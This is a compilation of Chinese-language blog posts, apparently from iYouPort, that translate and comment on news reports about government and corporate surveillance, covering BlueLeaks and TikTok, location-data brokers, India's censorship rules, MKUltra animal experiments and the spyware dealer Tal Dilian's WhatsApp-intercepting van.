“全国范围内的报告显示，个人正在使用传统的社交媒体平台和加密消息应用程序（YouTube、Facebook、Twitter、Instagram、TikTok、Telegram、Topbuzz.com、Snapchat、Wickr）来讨论潜在的暴力行为。”

该文件并没有举出任何身体暴力的实际例子，相反，却指出了对官员的人肉搜索、“关于虚假活动的谣言”，以及隐晦地说，“虚假的暴力报告以煽动暴力”。【简单说就是维稳】

三天后，另一个 FBI 调度警告说：“一个身份明确的用户在 TikTok 上发布了一段视频，演示了如何能快速剥去LEO/军人的防弹衣，说 ‘使用这些信息做你想做的事’。该帖子获得了很大的吸引力。”

有一个讽刺性的 TikTok 视频甚至得到了一份专门的情报报告，来自国土安全部情报和分析办公室。5月31日，一位网名为 weirdsappho 的19岁 TikTok 用户发布了一段视频，该视频翻拍了 “每日秀” 记者、喜剧演员 Jaboukie Young-White 在国民警卫队被派往明尼阿波利斯后写的一条推文。

Young-White 在推特上写道：“感谢上帝，他们带来了军队。” 此时此刻，人们对部署军队镇压的焦虑情绪正在高涨。“如果有人把装满粘稠液体的水袋（尤其是某种糖/牛奶/糖浆混合液）放入玻璃瓶中朝着挡风玻璃扔过去，以阻止坦克，我会很伤心的。” 这明显是个讽刺。在她的 TikTok 视频中，weirdsappho 包括了一些对该推文的回复，这扩展了这个笑话。

国土安全部的报告重现了 weirdsappho 的视频，逐字逐句地引用了推特和回复，但并没有解释其来源或提供背景。这份情报报告的主题是 “社交媒体视频提供TTPs” —— 战术、技术和程序 —— “关于如何在

抗议活动期间干扰美国国民警卫队”，暗示这名少年是一个迫在眉睫的威胁。在线新闻网站 Mainer 首先报道了这次调度的存在。

在最近的行政命令中，特朗普提到了对 TikTok 被 ByteDance 拥有可能“允许中共获取美国人的信息”的担忧。TikTok 的业绩，以及 ByteDance 在中国法律下的义务，确实带来独特的安全问题。

中国国家投入了大量资源，利用人工智能监控和操纵舆论，ByteDance 也被带入其中。ByteDance 最近与中国一家国有媒体集团成立了一家合资企业，使其部分技术有可能被用于宣传目的。

TikTok 的隐私政策规定，该公司可能会与“我们公司集团的母公司、子公司或其他关联公司”分享用户信息。多起集体诉讼指控 TikTok 向中国发送数据，不过 TikTok 表示，美国用户的数据存储在弗吉尼亚州，并在新加坡进行备份。

TikTok 还审查了中国政府不喜欢的政治言论，包括有关香港抗议活动的视频，以及有关在中国西北地区集中营中关押的维吾尔族人的视频。The Intercept 此前获得的内部文件显示，TikTok 指示版主压制那些被认为贫穷、丑陋或残疾的用户创建的帖子。这些指南似乎是匆匆从中文翻译过来的。

行政命令已经在发布45天后生效。特朗普似乎赞成字节跳动将 TikTok 卖给美国老板，而微软是领跑者。

如果这种情况发生，一些关于中国数据隐私的担忧可能会消除。但 BlueLeaks 的文件再一次强调，如果美国没有更多限制针对公司可以收集和交给警察和间谍的内容，就有理由担心 **任何社交媒体平台**，不论是美国的还是中国的。〇

LEAKED DOCUMENTS REVEAL WHAT TIKTOK SHARES WITH AUTHORITIES—IN THE U.S.

原文

科技公司为什么追踪你？因为军工综合体会购买这些数据 - iYouPort

公私监控伙伴关系

人们曾经普遍认为，中国人更害怕政府监控而不是公司监控，美国人则更害怕公司监控而不是政府。事实上这两方面描述都是错误的，中美共享同一个监视资本主义体制，如果没有公司监控（数据经济推动的大规模收集）政府监控就远远做不到如此惊心动魄

「图」

「图」

2012年，总部设在洛杉矶的一家技术公司 Factual 有着征服世界的雄心。它沉醉于围绕日益增长的大数据领域的乌托邦言论，计划收集前所未有的信息量，使其能够“识别世界上的每一个事实”，正如《纽约时报》的一篇介绍所言。

无论是对雪茄的种类进行编目，还是追踪美国医生的特长，Factual 都在创建一个博尔赫斯式的图书馆，它拼命地收集描述我们这个世界的所有比特和字节，从中挑出新奇的联系和市场的洞察力。从那里，这将是一个快速通往巨大利润的旅程。

- 关于大数据如何杀死了民主《国王们的晚宴—— 这是一场看不见的政变》
- 眼下的选举灾难是从什么时候开始的《“我们压根不想要这些程序”：Jill Lepore 指出技术无法拯救民主的衰败》

八年后，Factual 取得了成功，但它与创始人吉拉德-埃尔巴兹（Gilad Elbaz）在纽约时报上描述的宏大愿景完全不同。相反，在**1**亿多美元的投资资金的武装下，**Factual** 很大程度上转向了位置数据—— 也就是追踪用户智能手机的位置来定位广告，通过监视和分析消费者的行为模式。

Factual 现在就是一个典型的监控资本家。它的工作不是了解这个世界，而是了解人们如何在这个世界中移动，以及他们做了什么——然后将其货币化。

这些数据和分析会去哪里？您的信息被卖给了谁？这往往是个谜，因为这个庞大的、不断发展的行业，在很大程度上是不受监管的。您可以在这里看到对这个监视资本主义行业的具体描述《"单向镜的背后"》。

但是对于 Factual 来说，我们确实知道其中一些数据是被军工综合体的各种触角所购买了。

Factual 的合作伙伴之一是一家名为 X-Mode 的公司。Vice的记者 Joseph Cox 在近期的一项调查中透露，**X-Mode** 从众多应用中收集数据，并将其中一些数据卖给美国军方承包商。

“参与这一数据供应链的许多应用程序的用户都是穆斯林”，Cox 指出。在这些被用于监视的应用程序中，有一款祈祷提醒应用 Muslim Pro，在各个平台上已经被下载了近1.5亿次，还有一款步数计算应用和一款关注极端天气的应用。

另一家与军方有联系的重要数据中介是名为 **Babel Street** 的公司，该公司生产的智能手机位置追踪产品 **Locate X** 已经被美国特种作战司令部使用。

📌 这是监控国家的新迭代：科技公司和政府之间的「公私合作伙伴关系」（我们的列表-2中有这个同名板块），在未经人们同意的情况下大规模追踪人们。而像你我这样的日常用户对此根本无能为力。只有结合重大的隐私立法、有力的监管和新的商业模式取代监视资本主义经济体制，才有希望阻止它。

Factual 的转型正说明了位置数据行业的淘金热。去年4月，它与 Foursquare 合并，Foursquare 原本是一款用户记录自己的社交生活、并与朋友（尤其是在酒吧、餐厅、音乐会等）进行IRL连接的应用。而如今，Foursquare 与其说是一个社交网络，不如说是位置数据行业的王者之一，它吞噬了大量的位置数据，并将其打包出售给合作伙伴。

截至去年，**Foursquare** 每个月都在收集美国**1**亿台设备的数据。从天气预报应用程序到**Uber**再到微信，众多日常应用中都包含了它的代码——换句话说，它全跟踪。当然，"Factual 的代码同样可以在苹果、

Facebook 和微软制造的应用中找到"。

- 关于 Foursquare 这些公司是做什么的，见《1200万部电话，一个数据集：利维坦眼中的世界》

在大规模的范围内，这些数据可以提供关于整个社会人口的深入见解，但在个人层面上，它可以揭示非常敏感的个人信息：比如你看过什么病、匿名酗酒者互助组、甚至特勤局特工的行动。

美国和全世界的执法和政府机构都对这些类型的数据流有着极大的兴趣。由于 BuzzFeed、华尔街日报、纽约时报、Protocol、以及现在的 Vice 等一系列重要报道，人们已经知道移民和海关执法局、海关和边境保护局、以及其他很多政府机构一直在从应用程序制造商、数据经纪人和各种第三方那里购买大量的位置数据，这些数据被卷入了一系列复杂的合作关系、信息共享和代码交换中。

- 对此的详细解释见 《手机中隐藏的跟踪器：他们如何使用您手机的应用程序监视您》

这种不透明也延伸到了应用制造商本身。正如Vice所指出的，一些应用制造商甚至不知道他们的数据的最终去向，他们只是通过在应用中加入第三方追踪代码而获得报酬。

另一些则决定不向用户透露他们的位置数据可能会去哪里。还有像 Factual 这样的公司，因为加州的隐私法，它在网站上声明其客户包括 “政府、执法或监管机构”。这是该公司提供的最多的细节。

虽然这个行业在很大程度上是在公众视野之外开展业务，但存在明显的法律问题，特别是围绕着可能违反法律或绕过搜查令的政府监控。

正如驻维也纳调查数据经济的研究员 Wolfie Christl 所说的那样，“在没有搜查令的情况下获取这些数据进行政府监控，远远超出了可以接受的范围. ...，这完全破坏了基本权利和对信息技术的信任。” (军方声称，它将 Locate X 的数据用于海外行动，但是，与大多数此类交易一样，几乎无法得知数据的去向，如何管理、或者是否会去掉个人用户的姓名，你根本不会知道)。

自从Vice 曝光以来，Twitter 上充斥着著名穆斯林学者和有影响力的人的愤怒，他们中的许多人使用 Muslim Pro 来告诉他们何时祈祷和如何面对麦加。事实上，这种监视手段基本是完全隐蔽的，或者在隐私政策中几乎没有提及，这破坏了用户的信任，并使消费者陷入他们

完全没有发言权的监视经济中。

- 这个互联网就是为了监视而来，监视经济就建立在这个互联网构建的初衷的基础知识，推荐这本书《互联网究竟是什么？——来自“监视谷”惊人的启示》

鉴于美国军方收到了其中的一些数据，用户肯定会怀疑自己是否已经成为被监视的目标，或者更糟。之后 Muslim Pro 发表声明，宣布终止与 X-Mode 的关系。

“这暴露了美国公民对数据收集做法的理解与数据收集者本身之间存在的巨大差距”，代表美国穆斯林在政策和媒体上进行宣传的全国性非营利组织穆斯林公共事务委员会的政策分析师 Adam Beddawi 在一封电子邮件中写道。“美国公民从隐私的角度考虑这个问题，而数据的收集者只是口头同情，目的是保持对投机性经济监视资本主义体制的控制。缩小这种认识上的差距只是解决政府监控问题和实现经济平等的一个步骤。”

虽然公众教育是关键，但对于智能手机的个人用户来说，补救措施却很少。删除一两个可疑的应用根本没什么用，你的手机上可能还有几十个应用在悄悄记录你的一举一动和生活习惯，然后把这些信息卖给谁，我们可能永远都不会知道。

对于像 Factual 这样的公司来说，这可能是从其最初的了解世界的梦想中艰难的坠落，也可能正是对这一梦想的更残酷的回应，因为该公司屈服于监视资本主义的丰厚利益，成为位置数据行业的重要参与者。

Foursquare 的 Malcynsky 表示，最近合并的公司禁止客户转售其数据，但正如 Vice 和其他媒体的报道所表明的那样，该行业充斥着无良经纪人。她说，“可能性……很低”，你的数据最终可能落到寻求驱逐出境的政府人员的手里、落到准备抓捕抗议者的警察手里、落在针对所谓的武装分子的军事策划者手里，你甚至都不会知道发生了什么。〇

Banal Smartphone Apps Are the New Surveillance State

原文

美国科技公司主动自我审查迎合印度的新审查法 - iYouPort

公私监控伙伴关系协助暴政的家伙们

这种紧张的时间限定增加了互联网公司的主动删除行为，导致更多的内容被删除，最终比政府的审查标准更加苛刻

「图」

「图」

印度政府仍在寻求更直接的互联网控制，使用概念完全模糊的流行语（如“仇恨言论”，“假新闻”等）作为破解加密的借口，并让科技公司直接负责审查用户创建的内容。七骑士仍然是审查制度的有用推动者。

印度政府提出的依赖科技巨头打击所谓假新闻的新规则很可能会对网上的言论自由和所有人的隐私人权产生深刻的影响。拟议的变更涉及信息技术法第79条，这是对互联网“中介机构”的安全港保护，类似于美国“通信规范法”第230条。现行法律保护互联网服务提供商和社交媒体平台等中介机构免于其用户行为的责任，除非他们了解具体帖子的内容；中介机构也必须在法院指示下审查内容。

而拟议的修正案试图通过有效地迫使互联网公司审查所有用户内容来遏制“错误信息”在 Facebook 和 Twitter 等平台上的传播。他们还需要像 WhatsApp 这样的服务破解加密信息以供政府使用，这可能会影响全球用户的安全。该规则还要求互联网公司每月通知用户其隐私政策。

只是政府干预的威胁就足以使一些美国公司成为积极主动的审查机构。

正如 Paris Martineau 在这篇 Wired 文章中指出的那样，Netflix 和其他一些流媒体服务已经自愿同意进行自我审查，清除印度相关的内容，所谓的“不尊重国旗”、“伤害宗教情绪”、或“促进恐怖主义”。

Netflix 对自我审查的理由显然是，这在某种程度上要比直接的政府审查“更好”。但这种理由毫无意义，特别是当主动措施倾向于删除更多内容而非实际非法的内容时。

政府关于内容删除的时间表限定只会增加问题。印度政府希望在通知发出后的24小时内将其发现的任何内容删除。在世界其他地方已经看到，这种紧张的时间限定增加了互联网公司的主动删除行为，导致更多的内容被删除，最终比政府的审查标准更加苛刻。

政府不会在乎过多被删除的内容，他们只关注自己不喜欢的内容是不是被删除了。

印度的计划甚至还引入了受损的加密技术，如果像 WhatsApp 这样的平台遵守这一规定，很明显将开创一个危险的先例。如果破解加密可以在印度完成，那么同样的噩梦就可以在全球任何地方完成，并且会有越来越多的政府想要更多的隐私入侵，他们会追求每一个字和每一个数据而无所不用其极。贪欲是无止境的。

印度已经发生了这样的事，噩梦的闸门已经被打开，现在你必需思考自己的国家也会出现同样的状况，因为它很快被一大群国家效仿。

US Media Companies Engaging In Proactive Censorship Of Content Ahead Of India’s New Hate Speech Laws. If it can be done in India, it can be done anywhere, and a long list of government entities frustrated that they don’t have access to every domestic online conversation will see this as an invitation to make similar demands

原文

解密文件：如何遥控大脑？ - iYouPort

公私监控伙伴关系

新闻周刊报道，最新发布的文件主题是“行为修改”或精神控制，是作为臭名昭著的 MKUltra 项目的一部分进行的该项目，揭示了 CIA 的实验不仅仅是要使用精神药物控制人类，而且还有电击和无线电波——他们还通过脑部手术制作了可远程遥控的狗。

这些文件是根据信息自由法（FOIA）请求由 The Black Vault 的创始人 John Greenewald 获得的，该公司专门从事解密政府记录的研究。在一封解密的信件中（作为文件 C00021825 发布），一位化名人士写信给医生建议启动实验室计划进行动物心理控制实验。这封信的作者已经是该领域的专家，他早期的工作最终创造了六只遥控狗，可以控制狗跑起来、转弯和停止。

“如你所知，我花了大约三年的时间研究对大脑的电刺激，”该人写道，“在实验室里，我们对老鼠进行了多次实验; 在外面，我们测试了几个品种的狗。“该人将远程控制狗的工作描述为成功。这封信的附件是作者最近的研究报告，该研究报告发表于 1965 年，名为“远程控制行为与奖励大脑的电刺激”，其主要研究者的名字被编辑。

「图」

「图」

向狗的大脑提供电刺激涉及一些令人毛骨悚然的副作用，包括“由于手术伤口愈合不良导致的电极部位的肌肉组织感染”。

在尝试了塑料头盔之后，他们决定采用一种新的手术技术，其中包括“将电极完全嵌入到颅骨上，并将引线皮下注射到肩胛骨之间的一个点，引线穿透皮肤到外面并固定在标准的拴狗带上。“

至少到 1967 年，在写这封信的时候，远程控制的狗似乎不太可能在野外使用，因为这封信的作者概述了未来后续计划的一些限制和挑战。信中说，“行为控制的有效距离最多只限于100到200码之间。”其他问题更为普通，例如，信中写到关于中央情报局是否能在附近找

到“合适的开放场地”。

尽管如此，一个潜在的新实验室的前景似乎激发了这封信的作者的想象力，他们想要对“一系列物种”进行潜在的实验，比如老鼠。

「图」

「图」

C00021825 文件远非 The Black Vault 发布的唯一涉及动物的“行为修改”文件。许多其他文件也涉及到了动物实验的预算和实施。另一个被解密的文件（包括大量修改）详细说明了为适应“外国情况”野外工作培训和装备猫的实际可能性……

- 关联：已故 CIA 专家 David Wise 曾经他不信任猫，他说情报机构有可能将监视设备植入猫的体内……看起来这不是个玩笑。详见这篇文章《隐形政府：走进间谍的世界》

Newly released files from “behavior modification,” or mind control, projects conducted as part of the infamous Project MKUltra reveal the CIA experimented in more than controlling humans with psychotropic drugs, electrical shocks and radio wave—they also created field operational, remote-controlled dogs.

原文

这个富有的监视技术经销商浮出水面 …… 还有他那个900万美元WhatsApp骇客工具 - iYouPort

以色列和NSO-间谍产业的领主公私监控伙伴关系协助暴政的家伙们

有需求就会有供应，有供需的地方就是市场。嗯，他们就是这样狡辩的 —— 但也的确是为什么曝光无法阻止这些可怕的技术继续被跨国销售，就如我们早前发布的分析所显示的那样，这些监视技术公司事实上受益于人权丑闻的曝光

「图」

「图」

在塞浦路斯拉纳卡一条安静的大道旁的一个野花丛生的碎石小径上，Tal Dillian 正坐在一辆漆黑的卡车里。

这是一辆改装过的GMC救护车, 装备了数百万美元的监控设备, 顶部的天线可以从1公里范围内的任何智能手机上获取信息，并在点击按钮后, 清空目标手机中的所有内容。

WhatsApp 信息、**Facebook** 聊天记录、短信、电话、联系人**?** 所有的内容都会被清空？“没错”，Dillian 说，他是一名24年的以色列情报老手，也是百万富翁的间谍技术经销商，不过他看起来并不像，你可以想象一个更寒酸、更粗鲁的乔治·克鲁尼 …… 少了好莱坞的风格，多了些内敛的时髦。

他在这两天里加大了魅力攻势，让福布斯新闻史无前例地接触到了通常隐秘的秘密间谍技术产业，据估计，该产业价值**120**亿美元，而且还在不断上升。

这是 Dillian 第一次上镜头，公开讨论这个行业中争议较大的方面，即它的道德问题。毕竟，这是一个与窥探被谋杀的沙特籍华盛顿邮报

专栏作家 Jamal Khashoggi 有关的市场，更不用说在伦敦、墨西哥、阿联酋等地袭击人权律师和活动家的事件了。

- 《杀死华盛顿邮报记者 Jamal Khashoggi 的杀手在美国接受的培训》
- 《两个数字告诉你为什么特朗普不会制裁沙特》
- 《中东君主制如何雇佣美国战士以杀死其政敌?—这大概就是战争未来的样子》
- 《Wikileaks：异议记者遇害案嫌犯之一曾接受 Hacking Team 间谍软件培训; 与沙特王储关系密切》
- 更多内容见 “以色列和NSO”

首先他想展示一下他的监控装备的威力。他的这个监控面包车，价格在350万到900万美元之间，取决于客户想要多少间谍技术，是 A-Team 卡车和邦德轿车的拼接。

为了展示它的能力，Dillian 在200码外安排了一个同事。“我们会追踪他们，我们会拦截他们，我们会感染他们”，Dillian 说。

他强迫模拟目标的华为手机连接到他的**Wi-Fi hub**，从那里他黑进设备，悄悄地安装监控软件。不需要受害者任何点击。在车内，在它们被发送后的几秒钟内，来自目标设备的 WhatsApp 信息就出现在 Dilian 面前的显示器上。

任何相信自己的 WhatsApp 聊天或任何数字生活的任何部分是100%的私密的人，将很快打消这种想法，只要你能和 Dilian 聊聊。

他的面包车提供了大量的间谍软件工具，Dilian 是作为他的新企业：Intellexa 的一部分提供的。这是一个一站式服务, 为警察构建的网络武器库。

除了安卓黑客工具外，还有能识别你的脸的技术，无论你在哪里旅行，还有监听你的电话的技术，并在几分钟内定位整个国家的所有电话，Dilian 吹嘘道。他说，只需要15分钟，他就能知道你在哪里。

「图」

「图」

Tal Dilian sits in his surveillance van, which he claims can intercept WhatsApp messages and much … [+] JAY MCGREGOR

他声称这种工具是为了窥探恐怖分子、贩毒，但是。事实并非总是如此。政治家、人权活动家和记者等敏感人士也成为目标。最著名的案例就是, **Jamal Khashoggi** 和其他沙特活动家 —— 被隐形的 **iPhone** 间谍软件 **Pegasus** 锁定，引发了对他的酷刑和屠杀。

「图」

「图」

上图中这份文档在这里下载：*https://www.patreon.com/posts/quan-shi-jie-zui-38139678*

这款恶意软件是由**NSO**集团制造的，该公司与 **Dilian** 关系密切。他的第一家监控企业 Circles 在2014年与NSO合并，当时美国私募股权公司以2.5亿美元的总价控制了两家公司。

今年春天，在福布斯新闻与 Dilian 在塞浦路斯一个安静的地方度过了两天后的一个多月，有人再次"试图黑入"一位英国人权律师的 **WhatsApp** 和 **iPhone**，这位律师当时正在处理一些案件，试图吊销 **NSO**的以色列出口许可证。NSO再次受到指责。

人权活动家认为，像NSO这样的公司在遏制滥用其产品方面做得远远不够。“如果你想想你的手机和设备中有多少关于你的私密数据，想想这些技术有多强大 …… 这应该是非常令人担忧的，” 隐私国际组织的监控研究员 Edin Omanovic 说，“每一家公司都有责任保护人权，无论他们在世界的哪个地方，无论他们经营什么样的业务。”

Dilian 对批评嗤之以鼻。他认为，不要责怪经销商，要责怪客户。“我们不是世界上的警察，我们也不是世界上的法官”，他建议，政府应该确保出口管制和其他保障措施足以防止对民权和记者群体使用这些间谍软件。他的狡辩是：“‘你怎么能把监视技术卖给墨西哥？’问这样的问题是虚伪的，因为我们做的是完全合法的生意。为什么合法？如果美国批准可以卖给墨西哥，欧盟就批准了。” Dilian 说，“我们与好人合作。而有时好人不守规矩。”

- 这份无耻真的是非常标准了，在 列表-4 “协助暴政的家伙们” 中看到所有这类无耻之徒的行为

此外，Dilian 指出，在大多数情况下，监控公司甚至无法掌握其系统的使用情况。“这个行业中销售的大部分产品你都无法控制它。而且更多的是，客户不希望你知道谁是他们的目标人是谁。”

开始宣传自己

回到位于拉纳卡市中心舒适的办公室里，从他的祖国飞过来30分钟的路程，也是将他的**NSA**级间谍技术快速运送给欧盟各国政府的好地方，这家间谍公司的负责人正在谈论间谍软件行业的所谓 “开放性新时代”。

他让福布斯新闻的记者在两天内如此前所未有地接触他的业务，这表明间谍市场上的这些百万富翁领袖们之前所保持的缄默、谨慎的态度有了明显的转变。就在上个月，他的前合伙人、NSO集团的 CEO Shalev Hulio 就接受了以色列媒体和《60分钟》的采访。

“我们在这里。我们将建立美丽的系统，为好人和宇宙的利益而工作。而且我们需要说出来，我认为我们不需要隐瞒。” Dilian 说。

- 是的，这些间谍公司的确改变了他们的公关战术，见《金榜不要脸》
- 并且《美国公关公司为以色列间谍软件巨头服务》
- 这是因为《监视技术公司实际上 *受益于* 其人权丑闻的曝光》

并不是说一个间谍软件推销商会百分之百透明。他坐在通常封闭的一栋高楼的六楼，在这个每隔50码就有一家栅木板店的区域，其临建效果很显眼。而且因为福布斯记者的出现，员工们被告知不要来上班。在场的人都要求不要透露姓名。

「图」

「图」

Dilian 对客户的来源也是三缄其口，不过他还是放出了一些线索。他描述了在印尼的Wi-Fi拦截演示，他在印尼也有一个办公室。他还谈到非洲、波斯湾和远东的客户。他的一位同事谈到了与墨西哥政府合作的案例。

- 请注意，以上这些都是已经被揭露曝光的案子

Dilian 后来向福布斯新闻证实，**Circles** 将其技术 —— 仅凭电话号码就能在**6**秒内追踪任何手机的技术 —— 卖给了墨西哥政府，2016年43名失踪学生家属的律师被NSO恶意软件作为目标的事实被揭露后，这个国家爆发了间谍软件丑闻。Dilian 否认其知道他们的间谍软件以350万美元出售给阿联酋的事，此事在向NSO和以色列的 Circles 提出

法律挑战时提供了证据。

在原告公布了他们所称的 Dilian 的前 Circles 公司联合创始人 Eric Banoun 和来自阿联酋国家安全委员会的 Ahmad Ali Al Hibsi 之间的电子邮件互动后，这笔交易引发了强烈争议。

原告称，电子邮件显示了关于监视卡塔尔国家元首和黎巴嫩总理手机的讨论。目前还不清楚 Banoun 是否同意，但原告称 Circles “毫不犹豫地抓住了这个机会，并试图通过黑客攻击他们获得的手机号码来提供证据”。(Banoun没有回应置评请求。Circles和NSO集团都没有做出回应）。

「图」

「图」

Tal Dilian in Intellexa’s Cyprus headquarters. The country is less than an hour’s flight from … [+] JAY MCGREGOR

Dilian 承认，他不得不控制自己的一些销售策略。几年前，为了向 “美洲南部某地” 的一个没有被说出名字的国家出售 Circles 的手机追踪套件，一位潜在客户向他提供了两个号码供他追踪。

该国的警察局长告诉他，这两个号码属于两个 “匪徒”。Dilian 回忆说，他相信了他的话，于是继续进行工作，后来被告知，警方一旦找到这两部手机，就会派出3000名警察突击搜查嫌疑人藏身的村庄。他开始狡辩称：“我们当时还年轻，今天我会说不。”

间谍技术经销商的私生活

如果监控界真的需要一个发言人来捍卫其声誉的，那么它可以做得比由间谍变成企业家的 Dilian 更糟糕。

Dilian 向福布斯新闻透露了他的私生活 —— 鉴于他的职业，这很有讽刺意味。他是艺术家的儿子，他回忆起自己在耶路撒冷的童年，就像 “天堂” 一样，“犹太人和阿拉伯人，宗教和非宗教人士都聚集在一个和平的城市里”。

他漫长的情报生涯从18岁就开始了。他在以色列国防军呆了24年，先是在一支精锐的作战部队，在那里他学到了战场上监视工具的价值，这也成为他的本职工作。后来，他被任命为以色列国防军情报部队技

术科的首席指挥官。

- 《杀手：以色列精英军队》
- 《以色列的监视技术出口为什么不同？》

从地下世界出来后，Dilian 称他曾经尝试成为一名消费类科技创业者，不过他的前两次尝试都以失败告终。其中一家企业是 Vidyo。这和谷歌的 Chromecast 大同小异，“但比他们早十年，我们也不知道如何真正走向市场”。他还记得在纽约第五大道上，他骄傲地看着自己的产品在一家商店里出现。“然后一年后，我以50万美元的损失关闭了它。”

接下来，他试图让一家工程公司 SolarEdge 起步，又失败了，但随后他用 Circles 这个间谍公司淘到了金。

在离开间谍技术领域十多年后，Dilian 在2010年与两位合伙人 —— Banoun 和 Boaz Goldman 一起成立了当时是革命性的监控技术。只需一个电话号码，该公司就能定位任何人的智能手机。随着市场上有了更多这类监控技术的出现，这种形式的追踪成本有所下降。但一位知情人士称，在巅峰时期，**Circles** 一年的销售额就达到了**1.2**亿美元。

2014年，**Circles** 以不到**1.3**亿美元的价格卖给了美国私募股权公司 **Francisco Partners**，后者此前已经以**1.2**亿美元收购了以色列**NSO**集团**90%**的股权。两者合并，成立了一家名为 **Q Cyber Technologies** 的强大手机监控公司。作为交易的一部分，Circles 的六位老板平分了这笔钱，留给 Dilian 的是2150万美元。

Dilian 又从间谍界短暂休整，成为价值10亿美元的3D打印巨头 Stratasys 的执行副总裁。他说，两年后离开时，他卖掉了自己的股票，又给自己赚了200万美元。短短两年时间，他就从失败的创业狗变成了千万富翁。

他计划用 Intellexa 赚更多的钱，相信在2020年底之前，他可以把它变成一个年收入1亿美元的东西。

【注：Intellexa 是情报系统提供商的联盟，为警察和政府间谍机构提供端到端的集成情报解决方案】

几年后，他的想法是3亿到5亿美元，建立在组成 “联盟” 的五家独立间谍公司的基础上 —— 它们包括本文开头提到的负责从面包车上监

控目标的 WhatsApp 的 Dilian 的公司：即 安卓间谍软件制造商 Cytrox，这是 一个鲜为人知的马其顿创业公司，Dilian 用不到500万美元的价格收购，将其从深渊中解救出来。还有法国3G和4G黑客专家 Nexa Technologies。

他期望在各国政府努力打破苹果、谷歌、Facebook 及其 WhatsApp 等公司正在建立的安全体系时，资金会涌入，并转向他的行业。Dilian 说，“坏人” 是第一个采用这种加密通信技术的人。他呼吁找到合适的平衡点，让公民获得隐私，但这些应用仍然可以被监视 ——这就是**FBI**破解加密的狡辩之词；该机构近年来一直在呼吁为这些加密通信应用开后门。

- 在这里看到相关内容的汇总 列表-1 “加密和反加密之战”

Dilian 也认为所谓的 “平衡” 目前无法做到。然后，他带着狡猾的笑容补充道：“我们从这种不平衡中赚了很多钱。”

「图」

「图」

Wi-Fi hacking tech operated from Intellexa’s surveillance van. Dilian claims he can force any iPhone … [+] JAY MCGREGOR

冒险生意

无论是 Dilian 的魅力还是他对利润的吹嘘，都无法赢得数字权利活动家的青睐。尽管他声称预期收入，但即使是曾经参与市场或对市场感兴趣的以色列投资者，现在也对资助压迫性政权使用的技术的想法表示怀疑。

NSO集团的一位前投资人告诉福布斯新闻，由于 “道德问题”，他可能永远不会再涉足这个行业。他补充说：“赌博和色情业也是如此” ——他为所谓的 “合法拦截” 市场提供了一个新颖的对比。请注意，NSO 已经被美国私募股权公司 Francisco Partners 出资1.3亿美元收购了。

一位常驻旧金山的以色列投资人说，这些年来，他收到了多达20个来自以色列监控公司的推销。“我们通常会在第一次互动后就把它干掉”，他说。“大多数风险资本家不会投资这类公司。……我们知道，这些工具很容易落入坏人手中，被用来对付我们不想针对的人。” 他补充说，风险投资商也在追寻将退出的企业，但拦截游戏中的潜在收

购者非常少。

另一家以色列公司 Ability Inc.是一个很好的例子，说明在间谍软件游戏中的投资会产生多么严重的反作用。

Ability 公司出售与 Circles 类似的位置跟踪技术；两者都利用了电信基础设施的一部分，即**SS7**【什么是 SS7，据称中国正用它来窥探特朗普的手机？】。该公司试图通过在纳斯达克上市来打破美国市场。

但在过去的两年里，该公司走下了神坛，近几个月来报告了数百万美元的亏损和收入下降，因为它未能获得业务，并因未能维持每股1.00美元的最低收购价而被赶出纳斯达克。上个月，它达到了一个新的低谷，Ability 及其创始人被美国证券交易委员会指控在签署的合同上撒谎，欺骗投资者。

令人难以置信的是，臭名昭著的毒枭绰号为“矮子”(“El Chapo”)的 Joaquin Guzman 似乎无意中参与了 Ability 公司的灭亡。

美国证券交易委员会表示，为了让投资者在2015年加入，Ability 公司在其积压订单的问题上撒了谎，其中一个订单是该公司声称来自其最大的客户 —— 拉丁美洲的一个警察机构，这将带来 1.04 亿美元的销售额。

事实证明，Ability 公司与该机构没有任何书面协议，他们所做的口头交易是与管理层达成的，“由于当时一名臭名昭著的国际毒贩越狱，该管理层已经被解聘”。

福布斯新闻后来向一位了解 Ability 业务的消息人士证实，目标毒贩是 El Chapo，他在2015年从戒备森严的 Altiplano 监狱越狱，导致监狱高官被起诉。

Ability 的首席执行官 Anatoly Hurgin 并未回答有关其墨西哥业务的问题。

监视巨头的模仿秀

由于以色列国内缺乏风险投资的兴趣，该行业反而在美国和英国寻找外国金融家。 私募股权公司一直在四处投钱，在寻找能产生现金的企业，这些企业的财务和运营是他们可以设计的，以便尽可能多地赚钱。

今年早些时候，NSO的所有权易手，主要支持者美国的 Francisco Partners 将其股份卖回给创始人和英国的 Novalpina Capital。

但 Novalpina 现在已经了解到，拥有一家间谍软件公司会吸引多少负面新闻。在 WhatsApp 被攻击后，该公司被迫发表了一份长篇声明，概述了它将如何审查其新投资公司的道德实践。

位于多伦多大学的监控行业追踪组织 Citizen Lab 的研究员 John Scott-Railton 表示，与间谍软件公司合作仍然是一项有风险的业务，特别是在你无法预测滥用的情况下。他补充说，私募股权公司的投资者也可能没有意识到他们正在进入什么，“他们了解声誉风险吗？我怀疑他们不了解。”（注：IYP不认为他们“不够了解”）

但是，无论是该行业的丑闻曝光，还是风险投资的缺乏，都没有阻止特拉维夫周围出现的更多新的间谍软件公司。越来越多的 **NSO** 和 **Circles** 的模仿者出现在以色列，并正在接近不被看好的金融家。

一位投资人传来了市场上一长串的公司名单，这些公司都有 Candiru、Quadream、Magen 和Merlinx 等近乎神秘的名字，而且都蒙上了一层神秘的面纱，其道德标准晦涩难懂。

在福布斯新闻的镜头前担任该行业代言人的 Dilian，既对不断增长的市场做了最后的辩护，又对责任做出了另一种推脱。他说，“这个世界在某种程度上需要我们的产品。… 偶尔有一些政府滥用它，这不应该发生。这个世界需要找到解决方案。”○

A Multimillionaire Surveillance Dealer Steps Out Of The Shadows . . . And His $9 Million WhatsApp Hacking Van

原文

难民营成了监视技术的试验场 - iyouport

公私监控伙伴关系

“某些已经被边缘化、被剥夺权利的社区被当作了小白鼠，但令人担心的是，所有这些技术都会针对更广泛的人群推出，并被常态化”

【按】这是一个值得注意的观察。多年前我们发现，中国新疆，尤其是其“再教育营”，往往是所有高新监视技术的最初试验场，您可以在这里看到一个列表，其中几乎所有技术最初都出现在新疆。

但是，这些监视技术绝不会停留在新疆，而是将新疆做为“试验场”，用来推向全国，甚至全球。其试验过程中的成功记录，将作为相关产品的宣传噱头。

我们曾经做过一个总结，查看全世界监视技术的出口国家排名，《国家级监视赞助商》，其中就记录了欧盟边境管制机构 Frontex 与18个国家的当局进行了正式的工作安排、协调活动，并提供了边境控制措施和其他监视技术援助方面的培训。而这些监视技术就来自对难民营人口的“试验”。

